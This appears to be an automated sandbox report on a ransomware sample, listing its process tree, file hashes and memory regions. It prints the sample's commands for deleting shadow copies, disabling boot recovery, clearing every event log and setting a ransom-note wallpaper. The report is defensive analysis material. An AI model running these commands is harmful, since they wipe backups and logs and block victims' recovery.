PID 2720 wrote to memory of 2484 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 2720 wrote to memory of 2484 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 2704 wrote to memory of 4052 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2704 wrote to memory of 4052 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2704 wrote to memory of 4052 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2608 wrote to memory of 1052 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2608 wrote to memory of 1052 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2608 wrote to memory of 1052 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2608 wrote to memory of 1052 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1052 wrote to memory of 4512 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 1052 wrote to memory of 4512 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 1052 wrote to memory of 4512 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 1052 wrote to memory of 4544 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\rundll32.exe
PID 1052 wrote to memory of 4544 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\rundll32.exe
PID 1052 wrote to memory of 4544 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\rundll32.exe

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Users\Admin\AppData\Local\Temp\testing.exe

"C:\Users\Admin\AppData\Local\Temp\testing.exe"

C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe

"C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe"

C:\Windows\system32\cmd.exe

cmd /c wmic shadowcopy delete /nointeractive

C:\Windows\system32\cmd.exe

cmd /c vssadmin.exe Delete Shadows /All /Quiet

C:\Windows\system32\cmd.exe

cmd /c bcdedit /set {default} recoveryenabled No

C:\Windows\system32\cmd.exe

cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\system32\cmd.exe

cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"

C:\Windows\System32\Wbem\WMIC.exe

wmic shadowcopy delete /nointeractive

C:\Windows\system32\bcdedit.exe

bcdedit /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\system32\bcdedit.exe

bcdedit /set {default} recoveryenabled No

C:\Windows\system32\vssadmin.exe

vssadmin.exe Delete Shadows /All /Quiet

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "$a = [System.IO.File]::ReadAllText(\"Z:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"

C:\Windows\system32\reg.exe

"C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\1054300142.png /f

C:\Windows\system32\rundll32.exe

"C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.exe

MD5 e27b5291c8fb2dfdeb7f16bb6851df5e
SHA1 40207f83b601cd60905c1f807ac0889c80dfe33f
SHA256 ffd933ad53f22a0f10cceb4986087258f72dffdd36999b7014c6b37c157ee45f
SHA512 2ddbc50cd780ffbf73c354b9b437322eb49cb05bb6f287d54e7dcafb61dc4c4549e37ae2f972f3d240bfa7d2ca485b7583137f1bf038bc901f378cea0c305c6a

memory/1672-4-0x000000013FCE0000-0x000000013FDFE000-memory.dmp

\Device\HarddiskVolume1\Boot\GET_YOUR_FILES_BACK.txt

MD5 c92c2b70fb37f84aab38412ad9226aa8
SHA1 14f2e9a83285612d0a7b2c83b8f89bccfde6c154
SHA256 d64639e873c0873b469cd856d1ef4bce7dc14a80fac6fe2bed9d629f05acc77f
SHA512 04f9dcb3cd49909712535255b6eadd7fafcb2902bf1abd5a25e9bb5f5c4dc032611aec0a5b0ec89cd7dbc65276b935c54b906b391507d2e3e3aa65466b15f848

memory/4052-707-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

memory/4052-774-0x0000000001E10000-0x0000000001E18000-memory.dmp

memory/2608-24512-0x0000000075740000-0x0000000075787000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 1514afa0c385087fc6e3476a6cfcee70
SHA1 35c3deaf84988c1b65b2518304fd021b10043080
SHA256 4e347f2fedbde718d57d6b32c3e9132fe6b7006977fe952952a6cdcc06a472a2
SHA512 f2881e74f63794075003016bbae966c12c8ccaa6bdc59ec68a09b14bc0033ab84e1aec439678df79f3fde7311f23fd1b7f2da1bd008f251ae35a0edcde8369da

memory/1052-24518-0x000000001B710000-0x000000001B9F2000-memory.dmp

memory/1052-24519-0x0000000002340000-0x0000000002348000-memory.dmp